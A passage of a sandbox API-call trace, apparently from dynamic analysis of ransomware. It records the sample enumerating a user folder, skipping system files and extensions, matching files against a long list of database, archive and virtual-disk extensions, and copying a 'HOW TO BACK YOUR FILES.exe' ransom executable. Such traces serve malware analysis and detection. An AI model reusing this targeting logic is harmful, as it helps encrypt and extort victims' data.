	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0036.757] lstrlenW (lpString="adf") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0036.757] lstrlenW (lpString="adn") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0036.757] lstrlenW (lpString="adp") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0036.757] lstrlenW (lpString="alf") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0036.757] lstrlenW (lpString="ask") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0036.757] lstrlenW (lpString="btr") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0036.757] lstrlenW (lpString="cat") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0036.757] lstrlenW (lpString="cdb") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0036.757] lstrlenW (lpString="ckp") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0036.757] lstrlenW (lpString="cma") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0036.757] lstrlenW (lpString="cpd") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0036.757] lstrlenW (lpString="dacpac") returned 6
	[0036.757] lstrcmpiW (lpString1="op.lnk", lpString2="dacpac") returned 1
	[0036.757] lstrlenW (lpString="dad") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0036.757] lstrlenW (lpString="dadiagrams") returned 10
	[0036.757] lstrcmpiW (lpString1="esktop.lnk", lpString2="dadiagrams") returned 1
	[0036.757] lstrlenW (lpString="daschema") returned 8
	[0036.757] lstrcmpiW (lpString1="ktop.lnk", lpString2="daschema") returned 1
	[0036.757] lstrlenW (lpString="db-journal") returned 10
	[0036.757] lstrcmpiW (lpString1="esktop.lnk", lpString2="db-journal") returned 1
	[0036.757] lstrlenW (lpString="db-shm") returned 6
	[0036.757] lstrcmpiW (lpString1="op.lnk", lpString2="db-shm") returned 1
	[0036.758] lstrlenW (lpString="db-wal") returned 6
	[0036.758] lstrcmpiW (lpString1="op.lnk", lpString2="db-wal") returned 1
	[0036.758] lstrlenW (lpString="dbc") returned 3
	[0036.758] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0036.758] lstrlenW (lpString="dbs") returned 3
	[0036.758] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0036.758] lstrlenW (lpString="dbt") returned 3
	[0036.758] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0036.758] lstrlenW (lpString="dbv") returned 3
	[0036.758] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0036.758] lstrlenW (lpString="dbx") returned 3
	[0036.758] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0036.758] lstrlenW (lpString="dcb") returned 3
	[0036.758] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0036.758] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0036.758] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Downloads.lnk" | out: lpString1="Downloads.lnk") returned="Downloads.lnk"
	[0036.758] lstrlenW (lpString="Downloads.lnk") returned 13
	[0036.758] lstrlenW (lpString="Apollon865") returned 10
	[0036.758] lstrcmpiW (lpString1="nloads.lnk", lpString2="Apollon865") returned 1
	[0036.758] lstrlenW (lpString=".dll") returned 4
	[0036.758] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".dll") returned 1
	[0036.758] lstrlenW (lpString=".lnk") returned 4
	[0036.758] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".lnk") returned 1
	[0036.758] lstrlenW (lpString=".ini") returned 4
	[0036.758] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".ini") returned 1
	[0036.758] lstrlenW (lpString=".sys") returned 4
	[0036.758] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".sys") returned 1
	[0036.758] lstrlenW (lpString="Downloads.lnk") returned 13
	[0036.758] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="RecentPlaces.lnk" | out: lpString1="RecentPlaces.lnk") returned="RecentPlaces.lnk"
	[0036.758] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0036.758] lstrlenW (lpString="Apollon865") returned 10
	[0036.758] lstrcmpiW (lpString1="Places.lnk", lpString2="Apollon865") returned 1
	[0036.759] lstrlenW (lpString=".dll") returned 4
	[0036.759] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".dll") returned 1
	[0036.759] lstrlenW (lpString=".lnk") returned 4
	[0036.759] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".lnk") returned 1
	[0036.759] lstrlenW (lpString=".ini") returned 4
	[0036.759] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".ini") returned 1
	[0036.759] lstrlenW (lpString=".sys") returned 4
	[0036.759] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".sys") returned 1
	[0036.759] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0036.759] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Favorites", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites"
	[0036.759] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca290 | out: hHeap=0x580000) returned 1
	[0036.759] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0036.759] lstrlenW (lpString="C:\\Users\\Default\\Favorites") returned 26
	[0036.759] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites"
	[0036.759] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.759] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.765] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.765] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e164a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e164a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca290
	[0036.765] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.765] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.765] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.765] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e164a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e164a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.766] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.766] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.766] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.766] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.766] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.766] lstrlenW (lpString="desktop.ini") returned 11
	[0036.766] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\*") returned 28
	[0036.766] lstrcpyW (in: lpString1=0x2d3e586, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.766] lstrlenW (lpString="desktop.ini") returned 11
	[0036.766] lstrlenW (lpString="Apollon865") returned 10
	[0036.766] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.766] lstrlenW (lpString=".dll") returned 4
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.766] lstrlenW (lpString=".lnk") returned 4
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.766] lstrlenW (lpString=".ini") returned 4
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.766] lstrlenW (lpString=".sys") returned 4
	[0036.766] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.766] lstrlenW (lpString="desktop.ini") returned 11
	[0036.766] lstrlenW (lpString="bak") returned 3
	[0036.766] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.766] lstrlenW (lpString="ba_") returned 3
	[0036.766] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.767] lstrlenW (lpString="dbb") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.767] lstrlenW (lpString="vmdk") returned 4
	[0036.767] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.767] lstrlenW (lpString="rar") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.767] lstrlenW (lpString="zip") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.767] lstrlenW (lpString="tgz") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.767] lstrlenW (lpString="vbox") returned 4
	[0036.767] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.767] lstrlenW (lpString="vdi") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.767] lstrlenW (lpString="vhd") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.767] lstrlenW (lpString="vhdx") returned 4
	[0036.767] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.767] lstrlenW (lpString="avhd") returned 4
	[0036.767] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.767] lstrlenW (lpString="db") returned 2
	[0036.767] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.767] lstrlenW (lpString="db2") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.767] lstrlenW (lpString="db3") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.767] lstrlenW (lpString="dbf") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.767] lstrlenW (lpString="mdf") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.767] lstrlenW (lpString="mdb") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.767] lstrlenW (lpString="sql") returned 3
	[0036.767] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.767] lstrlenW (lpString="sqlite") returned 6
	[0036.767] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.767] lstrlenW (lpString="sqlite3") returned 7
	[0036.767] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.768] lstrlenW (lpString="sqlitedb") returned 8
	[0036.768] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.768] lstrlenW (lpString="xml") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.768] lstrlenW (lpString="$er") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.768] lstrlenW (lpString="4dd") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.768] lstrlenW (lpString="4dl") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.768] lstrlenW (lpString="^^^") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.768] lstrlenW (lpString="abs") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.768] lstrlenW (lpString="abx") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.768] lstrlenW (lpString="accdb") returned 5
	[0036.768] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.768] lstrlenW (lpString="accdc") returned 5
	[0036.768] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.768] lstrlenW (lpString="accde") returned 5
	[0036.768] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.768] lstrlenW (lpString="accdr") returned 5
	[0036.768] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.768] lstrlenW (lpString="accdt") returned 5
	[0036.768] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.768] lstrlenW (lpString="accdw") returned 5
	[0036.768] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.768] lstrlenW (lpString="accft") returned 5
	[0036.768] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.768] lstrlenW (lpString="adb") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.768] lstrlenW (lpString="adb") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.768] lstrlenW (lpString="ade") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.768] lstrlenW (lpString="adf") returned 3
	[0036.768] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.769] lstrlenW (lpString="adn") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.769] lstrlenW (lpString="adp") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.769] lstrlenW (lpString="alf") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.769] lstrlenW (lpString="ask") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.769] lstrlenW (lpString="btr") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.769] lstrlenW (lpString="cat") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.769] lstrlenW (lpString="cdb") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.769] lstrlenW (lpString="ckp") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.769] lstrlenW (lpString="cma") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.769] lstrlenW (lpString="cpd") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.769] lstrlenW (lpString="dacpac") returned 6
	[0036.769] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.769] lstrlenW (lpString="dad") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.769] lstrlenW (lpString="dadiagrams") returned 10
	[0036.769] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.769] lstrlenW (lpString="daschema") returned 8
	[0036.769] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.769] lstrlenW (lpString="db-journal") returned 10
	[0036.769] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.769] lstrlenW (lpString="db-shm") returned 6
	[0036.769] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.769] lstrlenW (lpString="db-wal") returned 6
	[0036.769] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.769] lstrlenW (lpString="dbc") returned 3
	[0036.769] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.769] lstrlenW (lpString="dbs") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.770] lstrlenW (lpString="dbt") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.770] lstrlenW (lpString="dbv") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.770] lstrlenW (lpString="dbx") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.770] lstrlenW (lpString="dcb") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.770] lstrlenW (lpString="dct") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.770] lstrlenW (lpString="dcx") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.770] lstrlenW (lpString="ddl") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.770] lstrlenW (lpString="dlis") returned 4
	[0036.770] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.770] lstrlenW (lpString="dp1") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.770] lstrlenW (lpString="dqy") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.770] lstrlenW (lpString="dsk") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.770] lstrlenW (lpString="dsn") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.770] lstrlenW (lpString="dtsx") returned 4
	[0036.770] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.770] lstrlenW (lpString="dxl") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.770] lstrlenW (lpString="eco") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.770] lstrlenW (lpString="ecx") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.770] lstrlenW (lpString="edb") returned 3
	[0036.770] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.770] lstrlenW (lpString="epim") returned 4
	[0036.770] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.770] lstrlenW (lpString="fcd") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.771] lstrlenW (lpString="fdb") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.771] lstrlenW (lpString="fic") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.771] lstrlenW (lpString="flexolibrary") returned 12
	[0036.771] lstrlenW (lpString="fm5") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.771] lstrlenW (lpString="fmp") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.771] lstrlenW (lpString="fmp12") returned 5
	[0036.771] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.771] lstrlenW (lpString="fmpsl") returned 5
	[0036.771] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.771] lstrlenW (lpString="fol") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.771] lstrlenW (lpString="fp3") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.771] lstrlenW (lpString="fp4") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.771] lstrlenW (lpString="fp5") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.771] lstrlenW (lpString="fp7") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.771] lstrlenW (lpString="fpt") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.771] lstrlenW (lpString="frm") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.771] lstrlenW (lpString="gdb") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.771] lstrlenW (lpString="gdb") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.771] lstrlenW (lpString="grdb") returned 4
	[0036.771] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.771] lstrlenW (lpString="gwi") returned 3
	[0036.771] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.771] lstrlenW (lpString="hdb") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.772] lstrlenW (lpString="his") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.772] lstrlenW (lpString="ib") returned 2
	[0036.772] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.772] lstrlenW (lpString="idb") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.772] lstrlenW (lpString="ihx") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.772] lstrlenW (lpString="itdb") returned 4
	[0036.772] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.772] lstrlenW (lpString="itw") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.772] lstrlenW (lpString="jet") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.772] lstrlenW (lpString="jtx") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.772] lstrlenW (lpString="kdb") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.772] lstrlenW (lpString="kexi") returned 4
	[0036.772] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.772] lstrlenW (lpString="kexic") returned 5
	[0036.772] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.772] lstrlenW (lpString="kexis") returned 5
	[0036.772] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.772] lstrlenW (lpString="lgc") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.772] lstrlenW (lpString="lwx") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.772] lstrlenW (lpString="maf") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.772] lstrlenW (lpString="maq") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.772] lstrlenW (lpString="mar") returned 3
	[0036.772] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.772] lstrlenW (lpString="marshal") returned 7
	[0036.773] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.773] lstrlenW (lpString="mas") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.773] lstrlenW (lpString="mav") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.773] lstrlenW (lpString="maw") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.773] lstrlenW (lpString="mdbhtml") returned 7
	[0036.773] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.773] lstrlenW (lpString="mdn") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.773] lstrlenW (lpString="mdt") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.773] lstrlenW (lpString="mfd") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.773] lstrlenW (lpString="mpd") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.773] lstrlenW (lpString="mrg") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.773] lstrlenW (lpString="mud") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.773] lstrlenW (lpString="mwb") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.773] lstrlenW (lpString="myd") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.773] lstrlenW (lpString="ndf") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.773] lstrlenW (lpString="nnt") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.773] lstrlenW (lpString="nrmlib") returned 6
	[0036.773] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.773] lstrlenW (lpString="ns2") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.773] lstrlenW (lpString="ns3") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.773] lstrlenW (lpString="ns4") returned 3
	[0036.773] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.774] lstrlenW (lpString="nsf") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.774] lstrlenW (lpString="nv") returned 2
	[0036.774] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.774] lstrlenW (lpString="nv2") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.774] lstrlenW (lpString="nwdb") returned 4
	[0036.774] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.774] lstrlenW (lpString="nyf") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.774] lstrlenW (lpString="odb") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.774] lstrlenW (lpString="odb") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.774] lstrlenW (lpString="oqy") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.774] lstrlenW (lpString="ora") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
